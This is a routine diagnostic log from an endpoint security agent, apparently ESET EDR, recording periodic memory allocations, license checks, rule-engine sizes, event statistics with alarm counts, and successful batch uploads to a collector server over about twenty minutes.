2026-03-04 08:42:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1624 KB; ModuleMetadata: 593 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 544 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 527 KB; BaseEvent: 163 KB; rules::ProcessConditionsCache: 120 KB; ModuleInfoCache: 111 KB; CacheEntry: 95 KB; BatchSerializer::EventsQueueTag: 44 KB; cloudutils::CloudData: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 15 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 65931 KB;
2026-03-04 08:43:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 08:43:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 08:43:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 08:43:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 08:43:29 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 08:43:29 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 08:43:29 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 08:43:29 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 08:43:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1927 KB; ModuleMetadata: 595 KB; rules::AncestorEvaluations: 552 KB; TcpIpConnectionsManager: 519 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 513 KB; BaseEvent: 298 KB; ModuleInfoCache: 111 KB; CacheEntry: 95 KB; BatchSerializer::EventsQueueTag: 83 KB; cloudutils::CloudData: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; rules::ProcessConditionsCache: 20 KB; ProcessInfoCommandLineTag: 16 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66272 KB;
2026-03-04 08:44:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1927 KB; ModuleMetadata: 600 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 513 KB; TcpIpConnectionsManager: 373 KB; BaseEvent: 301 KB; ModuleInfoCache: 112 KB; CacheEntry: 96 KB; BatchSerializer::EventsQueueTag: 84 KB; cloudutils::CloudData: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; rules::ProcessConditionsCache: 20 KB; ProcessInfoCommandLineTag: 16 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66137 KB;
2026-03-04 08:45:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1927 KB; ModuleMetadata: 600 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 513 KB; BaseEvent: 306 KB; TcpIpConnectionsManager: 191 KB; ModuleInfoCache: 112 KB; CacheEntry: 96 KB; BatchSerializer::EventsQueueTag: 86 KB; cloudutils::CloudData: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; rules::ProcessConditionsCache: 20 KB; ProcessInfoCommandLineTag: 16 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 65963 KB;
2026-03-04 08:46:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1927 KB; ModuleMetadata: 600 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 513 KB; BaseEvent: 308 KB; ModuleInfoCache: 112 KB; CacheEntry: 96 KB; BatchSerializer::EventsQueueTag: 87 KB; TcpIpConnectionsManager: 68 KB; cloudutils::CloudData: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; rules::ProcessConditionsCache: 20 KB; ProcessInfoCommandLineTag: 16 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 65842 KB;
2026-03-04 08:47:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1927 KB; ModuleMetadata: 600 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 513 KB; BaseEvent: 308 KB; ModuleInfoCache: 112 KB; CacheEntry: 96 KB; BatchSerializer::EventsQueueTag: 87 KB; TcpIpConnectionsManager: 68 KB; cloudutils::CloudData: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; rules::ProcessConditionsCache: 20 KB; ProcessInfoCommandLineTag: 16 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 65842 KB;
2026-03-04 08:48:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 08:48:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 08:48:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 08:48:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 08:48:29 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 08:48:29 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 08:48:29 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 08:48:29 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 08:48:38 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 08:42:09, To:, 2026-03-04 08:48:38, Duration (s):, 389, Events Per Second:, 13.108, Events:, 5100, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 4238, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 24, Livegrid:, 24, OriginUrl:, 0, Alarms:, 813, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 567858
2026-03-04 08:48:39 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s383ms.
2026-03-04 08:48:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 2197 KB; TcpIpConnectionsManager: 952 KB; ModuleMetadata: 600 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 510 KB; BaseEvent: 370 KB; rules::ProcessConditionsCache: 183 KB; ModuleInfoCache: 112 KB; BatchSerializer::EventsQueueTag: 99 KB; CacheEntry: 96 KB; cloudutils::CloudData: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 11 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 5 KB; BatchStringTag: 0 KB; Total: 67230 KB;
2026-03-04 08:49:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 2560 KB; TcpIpConnectionsManager: 1107 KB; ModuleMetadata: 600 KB; rules::AncestorEvaluations: 551 KB; BaseEvent: 549 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 511 KB; rules::ProcessConditionsCache: 160 KB; BatchSerializer::EventsQueueTag: 146 KB; ModuleInfoCache: 112 KB; CacheEntry: 96 KB; cloudutils::CloudData: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 11 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 6 KB; BatchStringTag: 0 KB; Total: 67951 KB;
2026-03-04 08:50:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 2937 KB; TcpIpConnectionsManager: 1269 KB; BaseEvent: 732 KB; ModuleMetadata: 600 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 512 KB; BatchSerializer::EventsQueueTag: 194 KB; rules::ProcessConditionsCache: 179 KB; ModuleInfoCache: 112 KB; CacheEntry: 96 KB; cloudutils::CloudData: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 11 KB; ProcessInfoCommandLineTag: 10 KB; ExtendedTcpIpConnectionInfo: 7 KB; BatchStringTag: 0 KB; Total: 68744 KB;
2026-03-04 08:50:59 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 08:46:49, To:, 2026-03-04 08:50:59, Duration (s):, 250, Events Per Second:, 16.752, Events:, 4190, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3479, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 1, Livegrid:, 1, OriginUrl:, 0, Alarms:, 708, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 465886
2026-03-04 08:51:01 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s424ms.
2026-03-04 08:51:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 3297 KB; ModuleMetadata: 600 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 535 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 514 KB; BaseEvent: 172 KB; rules::ProcessConditionsCache: 160 KB; ModuleInfoCache: 112 KB; CacheEntry: 96 KB; BatchSerializer::EventsQueueTag: 44 KB; cloudutils::CloudData: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 11 KB; ProcessInfoCommandLineTag: 10 KB; ExtendedTcpIpConnectionInfo: 5 KB; BatchStringTag: 0 KB; Total: 67640 KB;
2026-03-04 08:52:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 3713 KB; ModuleMetadata: 600 KB; TcpIpConnectionsManager: 590 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 521 KB; BaseEvent: 362 KB; rules::ProcessConditionsCache: 264 KB; ModuleInfoCache: 112 KB; CacheEntry: 96 KB; BatchSerializer::EventsQueueTag: 95 KB; cloudutils::CloudData: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 22 KB; ProcessInfoCommandLineTag: 10 KB; ExtendedTcpIpConnectionInfo: 6 KB; BatchStringTag: 0 KB; Total: 68476 KB;
2026-03-04 08:53:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 08:53:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 08:53:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 08:53:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 08:53:29 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 08:53:29 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 08:53:29 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 08:53:29 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 08:53:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 4074 KB; ModuleMetadata: 600 KB; TcpIpConnectionsManager: 592 KB; rules::AncestorEvaluations: 551 KB; BaseEvent: 547 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 516 KB; rules::ProcessConditionsCache: 204 KB; BatchSerializer::EventsQueueTag: 145 KB; ModuleInfoCache: 112 KB; CacheEntry: 96 KB; cloudutils::CloudData: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 5 KB; BatchStringTag: 0 KB; Total: 68995 KB;
2026-03-04 08:54:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 4460 KB; BaseEvent: 733 KB; TcpIpConnectionsManager: 610 KB; ModuleMetadata: 600 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 519 KB; rules::ProcessConditionsCache: 238 KB; BatchSerializer::EventsQueueTag: 195 KB; ModuleInfoCache: 112 KB; CacheEntry: 96 KB; cloudutils::CloudData: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 11 KB; ProcessInfoCommandLineTag: 10 KB; ExtendedTcpIpConnectionInfo: 4 KB; BatchStringTag: 0 KB; Total: 69673 KB;
2026-03-04 08:54:58 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 08:50:58, To:, 2026-03-04 08:54:58, Duration (s):, 240, Events Per Second:, 17.101, Events:, 4110, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3414, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 1, Livegrid:, 1, OriginUrl:, 0, Alarms:, 693, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 456887
2026-03-04 08:54:59 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s391ms.
2026-03-04 08:55:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 1714 KB; ModuleMetadata: 600 KB; TcpIpConnectionsManager: 595 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 520 KB; rules::ProcessConditionsCache: 216 KB; BaseEvent: 179 KB; ModuleInfoCache: 112 KB; CacheEntry: 96 KB; BatchSerializer::EventsQueueTag: 47 KB; cloudutils::CloudData: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 5 KB; BatchStringTag: 0 KB; Total: 66187 KB;
2026-03-04 08:56:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 2120 KB; TcpIpConnectionsManager: 606 KB; ModuleMetadata: 600 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 525 KB; BaseEvent: 372 KB; rules::ProcessConditionsCache: 308 KB; ModuleInfoCache: 112 KB; BatchSerializer::EventsQueueTag: 99 KB; CacheEntry: 96 KB; cloudutils::CloudData: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 14 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 66946 KB;
2026-03-04 08:57:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 2491 KB; ModuleMetadata: 600 KB; TcpIpConnectionsManager: 586 KB; BaseEvent: 551 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 523 KB; rules::ProcessConditionsCache: 292 KB; BatchSerializer::EventsQueueTag: 148 KB; ModuleInfoCache: 112 KB; CacheEntry: 96 KB; cloudutils::CloudData: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67505 KB;
2026-03-04 08:58:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 08:58:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 08:58:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 08:58:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 08:58:29 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 08:58:29 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 08:58:29 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 08:58:29 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 08:58:54 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 08:54:57, To:, 2026-03-04 08:58:54, Duration (s):, 237, Events Per Second:, 17.226, Events:, 4087, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3401, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 685, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 455575
2026-03-04 08:58:55 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s378ms.
2026-03-04 08:58:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 1374 KB; TcpIpConnectionsManager: 617 KB; ModuleMetadata: 600 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 510 KB; rules::ProcessConditionsCache: 329 KB; ModuleInfoCache: 112 KB; CacheEntry: 96 KB; cloudutils::CloudData: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; BaseEvent: 7 KB; BatchSerializer::EventsQueueTag: 2 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 65750 KB;
2026-03-04 08:59:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 1740 KB; ModuleMetadata: 600 KB; TcpIpConnectionsManager: 572 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 535 KB; rules::ProcessConditionsCache: 322 KB; BaseEvent: 186 KB; ModuleInfoCache: 112 KB; CacheEntry: 96 KB; BatchSerializer::EventsQueueTag: 48 KB; cloudutils::CloudData: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66317 KB;
2026-03-04 09:00:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 2191 KB; ModuleMetadata: 601 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 579 KB; TcpIpConnectionsManager: 567 KB; rules::AncestorEvaluations: 551 KB; rules::ProcessConditionsCache: 407 KB; BaseEvent: 380 KB; ModuleInfoCache: 112 KB; BatchSerializer::EventsQueueTag: 103 KB; CacheEntry: 96 KB; cloudutils::CloudData: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 17 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 14 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 67155 KB;
2026-03-04 09:01:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 2557 KB; ModuleMetadata: 601 KB; BaseEvent: 560 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 544 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 522 KB; rules::ProcessConditionsCache: 399 KB; BatchSerializer::EventsQueueTag: 152 KB; ModuleInfoCache: 112 KB; CacheEntry: 96 KB; cloudutils::CloudData: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 17 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67655 KB;
2026-03-04 09:02:50 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 08:58:53, To:, 2026-03-04 09:02:50, Duration (s):, 237, Events Per Second:, 17.391, Events:, 4133, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3459, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 1, Livegrid:, 1, OriginUrl:, 0, Alarms:, 671, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 463254
2026-03-04 09:02:52 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s462ms.
2026-03-04 09:02:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 1432 KB; ModuleMetadata: 601 KB; TcpIpConnectionsManager: 558 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 525 KB; rules::ProcessConditionsCache: 403 KB; ModuleInfoCache: 112 KB; CacheEntry: 96 KB; cloudutils::CloudData: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; BaseEvent: 21 KB; ProcessInfoCommandLineTag: 18 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; BatchSerializer::EventsQueueTag: 5 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 65866 KB;
2026-03-04 09:03:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 09:03:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 09:03:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 09:03:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 09:03:30 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 09:03:30 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 09:03:30 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 09:03:30 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 09:03:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 1797 KB; ModuleMetadata: 601 KB; TcpIpConnectionsManager: 583 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 526 KB; rules::ProcessConditionsCache: 403 KB; BaseEvent: 195 KB; ModuleInfoCache: 112 KB; CacheEntry: 96 KB; BatchSerializer::EventsQueueTag: 51 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 16 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 12 KB; ExtendedTcpIpConnectionInfo: 4 KB; BatchStringTag: 0 KB; Total: 66484 KB;
2026-03-04 09:04:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 2225 KB; TcpIpConnectionsManager: 613 KB; ModuleMetadata: 601 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 529 KB; BaseEvent: 394 KB; ModuleInfoCache: 112 KB; BatchSerializer::EventsQueueTag: 106 KB; CacheEntry: 96 KB; rules::ProcessConditionsCache: 57 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 16 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 14 KB; ExtendedTcpIpConnectionInfo: 4 KB; BatchStringTag: 0 KB; Total: 66854 KB;
2026-03-04 09:05:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 2589 KB; TcpIpConnectionsManager: 609 KB; ModuleMetadata: 601 KB; BaseEvent: 577 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 534 KB; BatchSerializer::EventsQueueTag: 154 KB; ModuleInfoCache: 112 KB; CacheEntry: 96 KB; cloudutils::CloudData: 40 KB; rules::ProcessConditionsCache: 25 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 17 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67411 KB;
